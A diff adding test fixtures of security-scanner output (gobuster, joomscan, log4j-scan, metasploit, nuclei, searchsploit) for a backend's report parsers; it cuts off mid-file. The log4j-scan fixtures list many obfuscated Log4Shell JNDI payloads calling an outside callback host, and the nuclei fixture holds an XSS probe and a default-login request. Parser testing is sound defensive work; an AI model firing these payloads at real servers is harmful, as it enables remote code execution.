(Status: 403) [Size: 295] +/config (Status: 301) [Size: 314] [--> http://example.com/config/] +/docs (Status: 301) [Size: 312] [--> http://example.com/docs/] +/external (Status: 301) [Size: 316] [--> http://example.com/external/] +/favicon.ico (Status: 200) [Size: 1406] +/index.php (Status: 302) [Size: 0] [--> login.php] +/php.ini (Status: 200) [Size: 148] +/phpinfo.php (Status: 302) [Size: 0] [--> login.php] +/robots.txt (Status: 200) [Size: 26] +/server-status (Status: 403) [Size: 299] diff --git a/src/backend/tests/data/reports/gobuster/dns.txt b/src/backend/tests/data/reports/gobuster/dns.txt new file mode 100644 index 000000000..358d354c0 --- /dev/null +++ b/src/backend/tests/data/reports/gobuster/dns.txt @@ -0,0 +1,2 @@ +Found: chat.example.com [10.10.10.10,10.10.10.11] +Found: echo.example.com [10.10.10.10,10.10.10.11] diff --git a/src/backend/tests/data/reports/gobuster/vhost.txt b/src/backend/tests/data/reports/gobuster/vhost.txt new file mode 100644 index 000000000..d63c2dac6 --- /dev/null +++ b/src/backend/tests/data/reports/gobuster/vhost.txt @@ -0,0 +1,23 @@ +Found: dns:monportail.example.com Status: 400 [Size: 427] +Found: http://mobility.example.com Status: 400 [Size: 427] +Found: http://enquetes.example.com Status: 200 [Size: 427] +Found: http://partner.example.com Status: 400 [Size: 427] +Found: https:.example.com Status: 400 [Size: 427] +Found: https://archives.example.com Status: 400 [Size: 427] +Found: https://assurance.example.com Status: 400 [Size: 427] +Found: https://collaboratif.example.com Status: 400 [Size: 427] +Found: https://conseil.example.com Status: 400 [Size: 427] +Found: https://ee.example.com Status: 400 [Size: 427] +Found: https://escale.example.com Status: 400 [Size: 427] +Found: https://idees.example.com Status: 400 [Size: 427] +Found: https://lvelizy.example.com Status: 400 [Size: 427] +Found: https://igc.example.com Status: 400 [Size: 427] +Found: https://mobility.example.com Status: 400 [Size: 427] +Found: https://nomade.example.com Status: 400 [Size: 427] +Found: https://partner.example.com Status: 400 [Size: 427] +Found: https://pam.example.com Status: 400 [Size: 427] +Found: https://protocoltraining.example.com Status: 400 [Size: 427] +Found: https://scm.example.com Status: 400 [Size: 427] +Found: https://sft.example.com Status: 400 [Size: 427] +Found: https://webpam.example.com Status: 400 [Size: 427] +Found: https://www.example.com Status: 400 [Size: 427] diff --git a/src/backend/tests/data/reports/joomscan/exploitable.txt b/src/backend/tests/data/reports/joomscan/exploitable.txt new file mode 100644 index 000000000..77a0bc78c --- /dev/null +++ b/src/backend/tests/data/reports/joomscan/exploitable.txt @@ -0,0 +1,90 @@ + + ____ _____ _____ __ __ ___ ___ __ _ _ + (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) + .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( + \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) + (1337.today) + + --=[OWASP JoomScan + +---++---==[Version : 0.0.7 + +---++---==[Update Date : [2018/09/23] + +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo + --=[Code name : Self Challenge + @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP + +Processing http://10.10.10.10/ ... + + + +[+] FireWall Detector +[++] Firewall not detected + +[+] Detecting Joomla Version +[++] Joomla 3.4.5 + +[+] Core Joomla Vulnerability +[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation +CVE : CVE-2016-8870 , CVE-2016-8869 +EDB : https://www.exploit-db.com/exploits/40637/ + +Joomla! Core Remote Privilege Escalation Vulnerability +CVE : CVE-2016-9838 +EDB : https://www.exploit-db.com/exploits/41157/ + +Joomla! Directory Traversal Vulnerability +CVE : CVE-2015-8565 +https://developer.joomla.org/security-centre/635-20151214-core-directory-traversal-2.html + +Joomla! Directory Traversal Vulnerability +CVE : CVE-2015-8564 +https://developer.joomla.org/security-centre/634-20151214-core-directory-traversal.html + +Joomla! Core Cross Site Request Forgery Vulnerability +CVE : CVE-2015-8563 +https://developer.joomla.org/security-centre/633-20151214-core-csrf-hardening.html + +Joomla! Core Security Bypass Vulnerability +CVE : CVE-2016-9081 +https://developer.joomla.org/security-centre/661-20161003-core-account-modifications.html + +Joomla! Core Arbitrary File Upload Vulnerability +CVE : CVE-2016-9836 +https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html + +Joomla! Information Disclosure Vulnerability +CVE : CVE-2016-9837 +https://developer.joomla.org/security-centre/666-20161203-core-information-disclosure.html + +PHPMailer Remote Code Execution Vulnerability +CVE : CVE-2016-10033 +https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection +https://github.com/opsxcq/exploit-CVE-2016-10033 +EDB : https://www.exploit-db.com/exploits/40969/ + +PPHPMailer Incomplete Fix Remote Code Execution Vulnerability +CVE : CVE-2016-10045 +https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection +EDB : https://www.exploit-db.com/exploits/40969/ + + + +[+] Checking apache info/status files +[++] Readable info/status files are not found + +[+] admin finder +[++] Admin page : http://10.10.10.10/administrator/ + +[+] Checking robots.txt existing +[++] robots.txt is not found + +[+] Finding common backup files name +[++] Backup files are not found + +[+] Finding common log files name +[++] error log is not found + +[+] Checking sensitive config.php.x file +[++] Readable config files are not found + + +Your Report : reports/10.10.10.10/ diff --git a/src/backend/tests/data/reports/joomscan/not-exploitable.txt b/src/backend/tests/data/reports/joomscan/not-exploitable.txt new file mode 100644 index 000000000..8fef95587 --- /dev/null +++ b/src/backend/tests/data/reports/joomscan/not-exploitable.txt @@ -0,0 +1,57 @@ + + ____ _____ _____ __ __ ___ ___ __ _ _ + (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) + .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( + \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) + (1337.today) + + --=[OWASP JoomScan + +---++---==[Version : 0.0.7 + +---++---==[Update Date : [2018/09/23] + +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo + --=[Code name : Self Challenge + @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP + +Processing http://10.10.10.10/ ... + + + +[+] FireWall Detector +[++] Firewall not detected + +[+] Detecting Joomla Version +[++] Joomla 3.7.0 + +[+] Core Joomla Vulnerability +[++] Target Joomla core is not vulnerable + +[+] Checking apache info/status files +[++] Readable info/status files are not found + +[+] admin finder +[++] Admin page : http://10.10.10.10/administrator/ + +[+] Checking robots.txt existing +[++] robots.txt is not found + +[+] Finding common backup files name +[++] Backup file is found +Path : http://10.10.10.10/backup/config.php.bak + +[+] Finding common log files name +[++] error log is not found + +[+] Checking sensitive config.php.x file +[++] Readable config file is found found +config file path : http://10.10.10.10/config.php + +[+] Checking Directory Listing +[++] directory has directory listing : http://10.10.10.10/error.php + +[+] Full Path Disclosure (FPD) +[++] Full Path Disclosure (FPD) in http://10.10.10.10/static + +[+] Checking Debug Mode status +[++] Debug mode Enabled : http://10.10.10.10/ + +Your Report : reports/10.10.10.10/ \ No newline at end of file diff --git a/src/backend/tests/data/reports/joomscan/not-joomla.txt b/src/backend/tests/data/reports/joomscan/not-joomla.txt new file mode 100644 index 000000000..3741d7fe3 --- /dev/null +++ b/src/backend/tests/data/reports/joomscan/not-joomla.txt @@ -0,0 +1,24 @@ + + ____ _____ _____ __ __ ___ ___ __ _ _ + (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) + .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( + \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) + (1337.today) + + --=[OWASP JoomScan + +---++---==[Version : 0.0.7 + +---++---==[Update Date : [2018/09/23] + +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo + --=[Code name : Self Challenge + @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP + +Processing http://10.10.10.10/ ... + + + +[+] FireWall Detector +[++] Firewall not detected + +[+] Detecting Joomla Version +[++] The target is not alive! + diff --git a/src/backend/tests/data/reports/log4j_scan/cve_2021_44228.txt b/src/backend/tests/data/reports/log4j_scan/cve_2021_44228.txt new file mode 100644 index 000000000..7d716c4a7 --- /dev/null +++ b/src/backend/tests/data/reports/log4j_scan/cve_2021_44228.txt @@ -0,0 +1,34 @@ +[•] CVE-2021-44228 - Apache Log4j RCE Scanner +[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. +[•] Secure your External Attack Surface with FullHunt.io. +[•] Initiating DNS callback server (interact.sh). +[%] Checking for Log4j RCE CVE-2021-44228. +[•] URL: http://192.168.1.38:8080/ +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${::-j}ndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh}/ +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:jndi}:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:dns://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:dns://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0 +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:${lower:l}${lower:d}a${lower:p}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jnd${upper:i}:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} +[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks. +[•] Waiting... +[!!!] Targets Affected +{"timestamp": "2022-03-12T11:23:08.947908239Z", "host": "192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh", "remote_address": "80.58.184.19"} \ No newline at end of file diff --git a/src/backend/tests/data/reports/log4j_scan/not_vulnerable.txt b/src/backend/tests/data/reports/log4j_scan/not_vulnerable.txt new file mode 100644 index 000000000..affcfe79d --- /dev/null +++ b/src/backend/tests/data/reports/log4j_scan/not_vulnerable.txt @@ -0,0 +1,10 @@ +[•] CVE-2021-44228 - Apache Log4j RCE Scanner +[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. +[•] Secure your External Attack Surface with FullHunt.io. +[•] Initiating DNS callback server (interact.sh). +[%] Checking for Log4j RCE CVE-2021-44228. +[•] URL: http://192.168.1.38:8080/ +[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:ldap://192.168.1.38.s820415e9g3y45n7jxgj0956af52n1myf.interact.sh/nbs4adg} +[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks. +[•] Waiting... +[•] Targets do not seem to be vulnerable. \ No newline at end of file diff --git a/src/backend/tests/data/reports/metasploit/exploits.txt b/src/backend/tests/data/reports/metasploit/exploits.txt new file mode 100644 index 000000000..b978647b2 --- /dev/null +++ b/src/backend/tests/data/reports/metasploit/exploits.txt @@ -0,0 +1,14 @@ + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/windows/misc/hp_dataprotector_encrypted_comms 2016-04-18 normal Yes HP Data Protector Encrypted Communication Remote Command Execution + 1 exploit/multi/http/rails_actionpack_inline_exec 2016-03-01 excellent No Ruby on Rails ActionPack Inline ERB Code Execution + 2 auxiliary/gather/xymon_info normal No Xymon Daemon Gather Information + 3 exploit/unix/webapp/xymon_useradm_cmd_exec 2016-02-14 excellent Yes Xymon useradm Command Execution + + +Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/webapp/xymon_useradm_cmd_exec + diff --git a/src/backend/tests/data/reports/metasploit/nothing.txt b/src/backend/tests/data/reports/metasploit/nothing.txt new file mode 100644 index 000000000..0a3135a72 --- /dev/null +++ b/src/backend/tests/data/reports/metasploit/nothing.txt @@ -0,0 +1 @@ +[-] No results from search diff --git a/src/backend/tests/data/reports/nikto/default.xml b/src/backend/tests/data/reports/nikto/default.xml new file mode 100644 index 000000000..a1581c06f --- /dev/null +++ b/src/backend/tests/data/reports/nikto/default.xml @@ -0,0 +1,78 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/backend/tests/data/reports/nmap/enumeration-vulners.xml b/src/backend/tests/data/reports/nmap/enumeration-vulners.xml new file mode 100644 index 000000000..8b8db02a2 --- /dev/null +++ b/src/backend/tests/data/reports/nmap/enumeration-vulners.xml @@ -0,0 +1,973 @@ + + + + + + + + + +
+ + + + +
+ + + + + +cpe:/a:openbsd:openssh:8.0 +cpe:/a:apache:http_server:2.4.37 +cpe:/a:apache:http_server:2.4.37 + + + + + +cpe:/o:linux:linux_kernel:3 +cpe:/o:linux:linux_kernel:4 + + +cpe:/o:linux:linux_kernel:3.1 + + +cpe:/o:linux:linux_kernel:3.2 + + +cpe:/o:linux:linux_kernel:2.6.17 +cpe:/h:axis:210a_network_cameracpe:/h:axis:211_network_camera + + +cpe:/o:linux:linux_kernel:3.16 + + +cpe:/h:asus:rt-n56u +cpe:/o:linux:linux_kernel:3.4 + + +cpe:/o:linux:linux_kernel:5.1 + + +cpe:/o:oracle:vm_server:3.4.2 +cpe:/o:linux:linux_kernel:4.1 + + +cpe:/o:google:android:4.1.1 + + +cpe:/o:linux:linux_kernel:3.18 + + + + + + + + + + + + + + + + + diff --git a/src/backend/tests/data/reports/nmap/ftp-vulnerabilities.xml b/src/backend/tests/data/reports/nmap/ftp-vulnerabilities.xml new file mode 100644 index 000000000..5bdef419b --- /dev/null +++ b/src/backend/tests/data/reports/nmap/ftp-vulnerabilities.xml @@ -0,0 +1,117 @@ + + + + + + + + + +
+
+ + + + +
+
+ + +cpe:/a:vsftpd:vsftpd:2.3.4 + + + + + + + diff --git a/src/backend/tests/data/reports/nuclei/tech_and_vulns.json b/src/backend/tests/data/reports/nuclei/tech_and_vulns.json new file mode 100644 index 000000000..88af4c24e --- /dev/null +++ b/src/backend/tests/data/reports/nuclei/tech_and_vulns.json @@ -0,0 +1,11 @@ +{"template":"technologies/php-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/php-detect.yaml","template-id":"php-detect","info":{"name":"PHP Detect","author":["y0no"],"tags":["tech","php"],"reference":null,"severity":"info","metadata":{"verified":true,"shodan-query":"X-Powered-By: PHP"}},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.162493+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} +{"template":"technologies/apache/apache-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/apache/apache-detect.yaml","template-id":"apache-detect","info":{"name":"Apache Detection","author":["philippedelteil"],"tags":["tech","apache"],"description":"Some Apache servers have the version on the response header. The OpenSSL version can be also obtained","reference":null,"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","extracted-results":["Apache/2.4.25 (Debian)"],"ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.176333+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} +{"template":"technologies/tech-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/tech-detect.yaml","template-id":"tech-detect","info":{"name":"Wappalyzer Technology Detection","author":["hakluke"],"tags":["tech"],"reference":null,"severity":"info"},"matcher-name":"php","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.897605+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} +{"template":"miscellaneous/robots-txt-endpoint.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/miscellaneous/robots-txt-endpoint.yaml","template-id":"robots-txt-endpoint","info":{"name":"robots.txt endpoint prober","author":["caspergn","pdteam"],"tags":null,"reference":null,"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/robots.txt","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:40.541498+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36' 'http://10.10.10.10/robots.txt'","matcher-status":true,"matched-line":null} +{"template":"misconfiguration/http-missing-security-headers.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/misconfiguration/http-missing-security-headers.yaml","template-id":"http-missing-security-headers","info":{"name":"HTTP Missing Security Headers","author":["socketz","geeknik","g4l1t0","convisoappsec","kurohost","dawid-czarnecki","forgedhallpass"],"tags":["misconfig","headers","generic"],"description":"This template searches for missing HTTP security headers. The impact of these missing headers can vary.\n","reference":null,"severity":"info"},"matcher-name":"access-control-allow-headers","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:44.288691+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} +{"template":"network/exposed-redis.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/network/exposed-redis.yaml","template-id":"exposed-redis","info":{"name":"Redis Server - Unauthenticated Access","author":["pdteam"],"tags":["network","redis","unauth"],"description":"Redis server without any required authentication was discovered.","reference":["https://redis.io/topics/security"],"severity":"high"},"type":"network","host":"10.10.10.10","matched-at":"10.10.10.10:6379","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:55.178717+01:00","matcher-status":true,"matched-line":null} +{"template":"exposures/configs/exposed-gitignore.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/configs/exposed-gitignore.yaml","template-id":"exposed-gitignore","info":{"name":"Exposed Gitignore","author":["thezakman","geeknik"],"tags":["exposure","tenable","config","git"],"reference":["https://twitter.com/pratiky9967/status/1230001391701086208","https://www.tenable.com/plugins/was/98595"],"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/.gitignore","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:58.263804+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36' 'http://10.10.10.10/.gitignore'","matcher-status":true,"matched-line":null} +{"template":"technologies/waf-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/waf-detect.yaml","template-id":"waf-detect","info":{"name":"WAF Detection","author":["dwisiswant0","lu4nx"],"tags":["waf","tech","misc"],"description":"A web application firewall was detected.","reference":["https://github.com/ekultek/whatwaf"],"severity":"info","classification":{"cve-id":null,"cwe-id":["cwe-200"]}},"matcher-name":"apachegeneric","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/","ip":"10.10.10.10","timestamp":"2022-12-26T16:32:07.349154+01:00","curl-command":"curl -X 'POST' -d '_=\u003cscript\u003ealert(1)\u003c/script\u003e' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'Host: 10.10.10.10' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36' 'http://10.10.10.10/'","matcher-status":true,"matched-line":null} +{"template":"exposures/configs/phpinfo-files.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/configs/phpinfo-files.yaml","template-id":"phpinfo-files","info":{"name":"phpinfo Disclosure","author":["pdteam","daffainfo","meme-lord","dhiyaneshdk","wabafet"],"tags":["config","exposure","phpinfo"],"description":"A \"PHP Info\" page was found. The output of the phpinfo() command can reveal detailed PHP environment information.\n","reference":null,"severity":"low","remediation":"Remove PHP Info pages from publicly accessible sites, or restrict access to authorized users only.\n"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/phpinfo.php","extracted-results":["7.0.30"],"ip":"10.10.10.10","timestamp":"2022-12-26T16:32:07.464122+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' 'http://10.10.10.10/phpinfo.php'","matcher-status":true,"matched-line":null} +{"template":"exposures/files/readme-md.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/files/readme-md.yaml","template-id":"readme-md","info":{"name":"README.md file disclosure","author":["ambassify"],"tags":["exposure","markdown","files"],"description":"Internal documentation file often used in projects which can contain sensitive information.","reference":null,"severity":"info","metadata":{"shodan-query":"html:\"README.MD\""}},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/README.md","ip":"10.10.10.10","timestamp":"2022-12-26T16:32:10.207188+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36' 'http://10.10.10.10/README.md'","matcher-status":true,"matched-line":null} +{"template-id":"dvwa-default-login","info":{"name":"DVWA Default Login","author":["pdteam"],"tags":["dvwa","default-login"],"description":"Damn Vulnerable Web App (DVWA) is a test application for security professionals. The hard coded credentials are part of a security testing scenario.","reference":["https://opensourcelibs.com/lib/dvwa"],"severity":"critical","classification":{"cve-id":null,"cwe-id":["cwe-798"]}},"type":"http","host":"http://10.10.10.10/","matched-at":"http://10.10.10.10/index.php","meta":{"username":"admin","password":"password"},"ip":"10.10.10.10","timestamp":"2022-12-26T20:29:16.465522359+01:00","curl-command":"curl -X 'GET' -d 'username=admin\u0026password=password\u0026Login=Login\u0026user_token=6291caf1dc5fe34bd434aaa7cda3e841' -H ''\\''authorization: Basic YWRtaW46cGFzc3dvcmQ='\\''' -H 'Connection: close' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=4gbutlinsopibl79qc24f7pmv3; security=low' -H 'Host: 10.10.10.10' -H 'Referer: http://10.10.10.10/login.php' -H 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36' 'http://10.10.10.10/index.php'","matcher-status":true,"matched-line":null} \ No newline at end of file diff --git a/src/backend/tests/data/reports/searchsploit/exploits.json b/src/backend/tests/data/reports/searchsploit/exploits.json new file mode 100644 index 000000000..7b731077f --- /dev/null +++ b/src/backend/tests/data/reports/searchsploit/exploits.json @@ -0,0 +1,30 @@ +{ + "SEARCH": "WordPress Core 2.1", + "DB_PATH_EXPLOIT": "/usr/share/exploitdb", + "RESULTS_EXPLOIT": [ + {"Title":"WordPress Core 1.2.1/1.2.2 - '/wp-admin/post.php?content' Cross-Site Scripting","EDB-ID":"24988","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24988.txt"}, + {"Title":"WordPress Core 1.2.1/1.2.2 - '/wp-admin/templates.php?file' Cross-Site Scripting","EDB-ID":"24989","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24989.txt"}, + {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-add.php' Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"24990","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24990.txt"}, + {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-categories.php?cat_id' Cross-Site 